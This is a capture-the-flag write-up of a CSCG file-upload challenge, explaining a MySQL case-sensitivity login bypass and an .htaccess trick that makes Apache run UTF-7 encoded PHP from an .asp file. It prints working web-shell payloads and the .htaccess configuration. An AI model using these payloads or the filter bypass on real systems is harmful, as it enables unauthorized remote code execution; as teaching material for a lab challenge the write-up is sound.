WebFilter BypassRCE +321 points

6 months ago - 137 views

File Upload (Training Mission)

This was a challenge in the Training Mission, before the real CTF. When the challenges were released I quickly started with this one, and I was able to get the first blood! It's a challenge that consists of two parts: bypassing the login and then uploading a file.

The Challenge

When we visit the main page, we are greeted with a login form. Some default credentials like admin:admin don't work, but we can see a "Sign up now" link. Here we can create an account and log in.

Sign Up page with username and password and confirmation

After creating an account and logging into it, we see an upload page. Here we can choose a file and click the button to upload it:

Upload page with "Choose file" and upload button

But this would be too easy, if we upload a file we get a message saying only staff users can upload files.

Only staff users can upload data right now. Sorry.

So we somehow need to bypass this if we want to upload files. Luckily we also get the Source Code and a docker setup for the challenge. It's a bunch of PHP files summarized into the following:

First, there is a SQL file with the initial database setup. Here we can see an administrator account is made with some password (which is later changed), and most importantly the staff value is set to 1.

SQL

INSERT INTO fileupload_users (username, password, staff) VALUES ('administrator', 'thisisadummyvalue', 1);

In the upload.php file we can see the check that causes our file upload attempt to be denied. It executes a SQL query that checks if the current user is a staff user or not. Only if this staff value is set 1 do we get through.

PHP

$username = $_SESSION["username"];
...
$sql_query = "SELECT username FROM fileupload_users WHERE username = ? AND staff = 0x1;";
if ($sql_statement = mysqli_prepare($database_connection, $sql_query)) {
  mysqli_stmt_bind_param($sql_statement, "s", $username);
  mysqli_stmt_execute($sql_statement);
  $result = "";
  mysqli_stmt_bind_result($sql_statement, $result);
  mysqli_stmt_fetch($sql_statement);
  if ($result === '') {
    $message = "Only staff users can upload data right now. Sorry.";
    $uploadOk = 0;
    mysqli_close($database_connection);
    goto render;
  }
  mysqli_close($database_connection);
} else {
  $message = "Not logged in";
  $uploadOk = 0;
  goto render;
}

In the register.php and login.php files we see a similar query. To check if a username already exists when creating a user we see the following query:

SQL

SELECT id FROM fileupload_users WHERE BINARY username = ?

And then in the login.php the same, just asking for different columns from the database.

SQL

SELECT id, username, password FROM fileupload_users WHERE BINARY username = ?

With the source code, I first looked through the logic a bit, to fully understand what was happening. Then I looked for things that stood out.

Bypassing the Login

Something I didn't recognize was the BINARY keyword in the SQL statements. I hadn't seen it before and looked up what it was. On the Official MySQL Documentation it says:

For nonbinary strings (CHAR, VARCHAR, TEXT), string searches use the collation of the comparison operands. For binary strings (BINARY, VARBINARY, BLOB), comparisons use the numeric values of the bytes in the operands; this means that for alphabetic characters, comparisons are case-sensitive.

So this BINARY keyword just makes sure that both strings have the exact same bytes. This means they are case-sensitive but are they normally not? Actually, they are not! A common problem with MySQL is that the comparisons are case-insensitive by default. So programmers can use the BINARY keyword to make sure that the comparison is case-sensitive.

But problems can arise when in some places the system is case-sensitive, and in others, it is not. In our case, the register.php and login.php pages are both case-sensitive because of the BINARY in the SQL query. But the upload.php that does the staff check is not. This means we can create a user with the register.php with capitalization, and then the upload.php will check our privileges while being case-insensitive.

In the start, we saw that a user by the name of administrator is created, with the staff value as well. So if we create a user like Administrator with a capital letter we can then log into it with the same capital letter, but in the check for the file upload, it will be case-insensitive. This means it will find any user with the name administrator and the staff value set to 1, which will match the original administrator user.

All together this means we can register a user as Administrator and our password, then we can log into that user and after that, we have the upload permissions of the actual administrator.

If we now upload a file like test.txt with some content, we see the file is uploaded successfully.

The file test.txt has been uploaded.

The source code also reveals that uploaded files are stored in the /uploads folder.

PHP

$target_dir = "/var/www/html/uploads/";

We can then find the file at /uploads/test.txt. Great! We can upload files to the server, and access them.

The Filter

Just upload a PHP shell right?! Well yes, but actually no. Now we're dealing with the restrictions in upload.php that block certain files from being uploaded.

PHP

$bad_extensions = ["php", "phtml", "pht"];  // Blacklist extensions
foreach ($bad_extensions as $bad) {
  if (str_contains($imageFileType, $bad)) {
    $message = "Please only upload images files. Any hacking attempts will be reported.";
    $uploadOk = 0;
    goto render;
  }
}
...
if (str_contains($file_content, '<?')) {  // Block if file contains "<?"
  $uploaded_file = fopen($target_file, "w");
  fwrite($uploaded_file, "Nice try hackers!");
}

Firstly, .php, .phtml, and .pht are blacklisted. Normally we would use one of these to execute PHP code on the server with something like the following:

PHP

<?php system($_GET["cmd"]) ?>

But since needs a PHP extension to be executed, this is not a direct option. Even if this file extension wasn't a problem, the biggest challenge comes from the <? being blocked in the file. The way to start a PHP script is with <?php, which always needs this substring.

Bypassing the Filter

The file extension list is a blacklist, meaning only the extensions provided there are blocked. This is often not enough because you have to think about every file extension that you want to block. In this case, an interesting extension is .htaccess. This file will allow us to change the behavior of the folder it is in. You commonly see this type of file when for example redirecting URLs, or adding headers to the response.

I thought there might be a way to execute some code in this type of file, so I looked around a bit and found the htshells Github repository. It contains a lot of ways to execute PHP with only .htaccess files in the shell folder. There are some really cool payloads in there, but most of them either contain the <? because they have PHP code, or they instead need chmod +x permissions to be executed. In this case, we just have a file directly placed into the /uploads folder without any special permissions. I tried a lot of things from this repository but just couldn't find anything that worked in this case.

I still believed there had to be some way to use the .htaccess file and looked for some writeups of similar challenges in the past. Eventually, I found the l33t-hoster writeup by mdsnins. In their challenge they have a similar problem. .php files are blocked and if <? is found in the file it is blocked. And to solve this they used a trick with UTF-7 encoding. In the .htaccess file we can tell PHP to treat any script files as UTF-7 encoded, instead of UTF-8. The handy thing about UTF-7 is that it encodes special characters like < as +ADw-. So if we have a file with <?php it will turn into +ADw-?php, which does not trigger the filter!

We will send the exploit in two parts. First the .htaccess file, and then the payload. But we still cannot use the .php extension for the payload. Luckily this is also not a problem with .htaccess. We can tell the server that it should treat any .asp file as PHP, and then we can upload a .asp file with PHP code in it. To make our own payload we just need to convert the text we want to UTF-7, we can use a simple CyberChef recipe for that.

As the writeup also told us we need a .htaccess file with the following lines:

Apache

# Allow .asp files to be served as PHP
AddType application/x-httpd-php .asp
# Set the encoding to UTF-7
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

Then we can upload the payload as shell.asp:

PHP

+ADw-?php+ACA-system(+ACQ-+AF8-GET+AFs-+ACI-cmd+ACI-+AF0-)+ACA-?+AD4-

Finally, we just need to visit the uploaded shell and we're able to execute system commands! Visiting /uploads/shell.asp?cmd=id for example gives us:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The Dockerfile tells us the flag is in the root directory with a random name:

Dockerfile

COPY flag /flag
RUN mv /flag /flag_$(tr -dc A-Za-z0-9 </dev/urandom | head -c 64)
RUN chmod 777 /flag*

Meaning we can just run cat /flag* to output files starting with flag, which is only the one random file. And it indeed gives us the flag!
CSCG{th3_qu3st1on_is:did_you_us3_a_r4ce_cond1tion_at_all?}

Note: The flag contains some leetspeak saying "The question is: did you use a race condition at all?", which we didn't. I'm not sure where a Race Condition could be used, but there is probably some alternative solution since we have so many possibilities with the .htaccess file.